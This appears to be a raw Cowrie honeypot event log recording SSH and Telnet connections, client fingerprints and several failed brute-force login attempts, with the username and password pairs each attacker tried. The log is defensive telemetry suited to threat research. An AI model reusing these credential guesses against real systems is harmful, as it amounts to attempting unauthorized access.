{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:56:07.051778Z","src_ip":"118.194.229.94","session":"a9428f09a289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user0","password":"test","message":"login attempt [user0/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:56:07.715861Z","src_ip":"118.194.229.94","session":"a9428f09a289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08809781074524,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:56:08.784594Z","src_ip":"128.199.8.54","session":"336524e94faf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:56:08.877825Z","src_ip":"118.194.229.94","session":"a9428f09a289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.67382001876831,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:56:23.352068Z","src_ip":"212.55.149.117","session":"1eab86892fa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57728,"dst_ip":"159.203.135.109","dst_port":23,"session":"d79131aa6a3d","protocol":"telnet","message":"New connection: 128.199.8.54:57728 (159.203.135.109:23) [session: d79131aa6a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:56:51.982936Z"}
{"eventid":"cowrie.session.closed","duration":32.72901964187622,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:57:24.711841Z","src_ip":"128.199.8.54","session":"d79131aa6a3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01677250862122,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:57:49.985249Z","src_ip":"212.55.149.117","session":"22b7283f6e66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":53752,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfd02673401f","protocol":"telnet","message":"New connection: 212.55.149.117:53752 (10.17.0.5:23) [session: bfd02673401f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:57:50.992638Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55428,"dst_ip":"159.203.135.109","dst_port":23,"session":"09d6479cca08","protocol":"telnet","message":"New connection: 128.199.8.54:55428 (159.203.135.109:23) [session: 09d6479cca08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:57:57.918897Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41310,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbf43fdadd90","protocol":"telnet","message":"New connection: 128.199.8.54:41310 (159.203.135.109:23) [session: cbf43fdadd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:05.190202Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":40950,"dst_ip":"10.17.0.5","dst_port":22,"session":"3beb5ae9ab84","protocol":"ssh","message":"New connection: 103.15.226.202:40950 (10.17.0.5:22) [session: 3beb5ae9ab84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:05.436112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:05.441431Z","src_ip":"103.15.226.202","session":"3beb5ae9ab84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:05.701890Z","src_ip":"103.15.226.202","session":"3beb5ae9ab84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz#EDC5tgb","message":"login attempt [root/1qaz#EDC5tgb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:06.467866Z","src_ip":"103.15.226.202","session":"3beb5ae9ab84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:07.725980Z","src_ip":"103.15.226.202","session":"3beb5ae9ab84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47168,"dst_ip":"159.203.135.109","dst_port":23,"session":"81e0e73540df","protocol":"telnet","message":"New connection: 128.199.8.54:47168 (159.203.135.109:23) [session: 81e0e73540df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:08.212343Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":53164,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c838fc864a7","protocol":"ssh","message":"New connection: 118.194.229.94:53164 (159.203.135.109:22) [session: 4c838fc864a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:09.458302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:09.462868Z","src_ip":"118.194.229.94","session":"4c838fc864a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:09.623252Z","src_ip":"118.194.229.94","session":"4c838fc864a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin01","password":"Aa123456","message":"login attempt [admin01/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:10.296713Z","src_ip":"118.194.229.94","session":"4c838fc864a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:11.461802Z","src_ip":"118.194.229.94","session":"4c838fc864a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.06498599052429,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:32.983765Z","src_ip":"128.199.8.54","session":"09d6479cca08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.323688983917236,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:39.513788Z","src_ip":"128.199.8.54","session":"cbf43fdadd90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.229.58","src_port":40238,"dst_ip":"10.17.0.5","dst_port":23,"session":"78f35aafbab4","protocol":"telnet","message":"New connection: 102.213.229.58:40238 (10.17.0.5:23) [session: 78f35aafbab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:43.454064Z"}
{"eventid":"cowrie.session.closed","duration":35.65897345542908,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:43.871205Z","src_ip":"128.199.8.54","session":"81e0e73540df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42308,"dst_ip":"159.203.135.109","dst_port":23,"session":"23c5e5978df8","protocol":"telnet","message":"New connection: 128.199.8.54:42308 (159.203.135.109:23) [session: 23c5e5978df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:49.237661Z"}
{"eventid":"cowrie.session.closed","duration":58.81743359565735,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:49.809956Z","src_ip":"212.55.149.117","session":"bfd02673401f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.843015909194946,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:56.296902Z","src_ip":"102.213.229.58","session":"78f35aafbab4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57218,"dst_ip":"159.203.135.109","dst_port":23,"session":"90add2e26789","protocol":"telnet","message":"New connection: 128.199.8.54:57218 (159.203.135.109:23) [session: 90add2e26789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:58:56.907699Z"}
{"eventid":"cowrie.session.closed","duration":34.147090435028076,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:59:23.384622Z","src_ip":"128.199.8.54","session":"23c5e5978df8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.26773166656494,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:59:32.175328Z","src_ip":"128.199.8.54","session":"90add2e26789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.4.40.224","src_port":40164,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e9e418dead9","protocol":"telnet","message":"New connection: 27.4.40.224:40164 (159.203.135.109:23) [session: 8e9e418dead9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:00:10.398002Z"}
{"eventid":"cowrie.session.closed","duration":12.75698733329773,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:00:23.154846Z","src_ip":"27.4.40.224","session":"8e9e418dead9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":47484,"dst_ip":"10.17.0.5","dst_port":22,"session":"526628a8f184","protocol":"ssh","message":"New connection: 103.15.226.202:47484 (10.17.0.5:22) [session: 526628a8f184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:01:41.667823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:01:41.672537Z","src_ip":"103.15.226.202","session":"526628a8f184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:01:41.912598Z","src_ip":"103.15.226.202","session":"526628a8f184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:01:42.632571Z","src_ip":"103.15.226.202","session":"526628a8f184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:01:43.874678Z","src_ip":"103.15.226.202","session":"526628a8f184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.192","src_port":59818,"dst_ip":"10.17.0.5","dst_port":22,"session":"e19a8fbab609","protocol":"ssh","message":"New connection: 2.57.122.192:59818 (10.17.0.5:22) [session: e19a8fbab609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:03:07.390860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:03:07.402544Z","src_ip":"2.57.122.192","session":"e19a8fbab609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:03:07.507927Z","src_ip":"2.57.122.192","session":"e19a8fbab609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:03:07.954214Z","src_ip":"2.57.122.192","session":"e19a8fbab609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":51344,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4f346cdccd1","protocol":"ssh","message":"New connection: 193.24.211.100:51344 (159.203.135.109:22) [session: e4f346cdccd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:03:24.851132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:03:24.856406Z","src_ip":"193.24.211.100","session":"e4f346cdccd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:03:24.967967Z","src_ip":"193.24.211.100","session":"e4f346cdccd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5150","message":"login attempt [root/5150] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:03:25.401454Z","src_ip":"193.24.211.100","session":"e4f346cdccd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:03:26.514794Z","src_ip":"193.24.211.100","session":"e4f346cdccd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37016,"dst_ip":"159.203.135.109","dst_port":23,"session":"9642417e53c3","protocol":"telnet","message":"New connection: 128.199.8.54:37016 (159.203.135.109:23) [session: 9642417e53c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:03:43.492953Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.121.246","src_port":49990,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcd3684d6d52","protocol":"telnet","message":"New connection: 45.226.121.246:49990 (10.17.0.5:23) [session: bcd3684d6d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:03:53.145482Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.0.104.39","src_port":52562,"dst_ip":"10.17.0.5","dst_port":22,"session":"43aa629b91ef","protocol":"ssh","message":"New connection: 128.0.104.39:52562 (10.17.0.5:22) [session: 43aa629b91ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:06.844493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:04:06.849587Z","src_ip":"128.0.104.39","session":"43aa629b91ef","protocol":"ssh"}
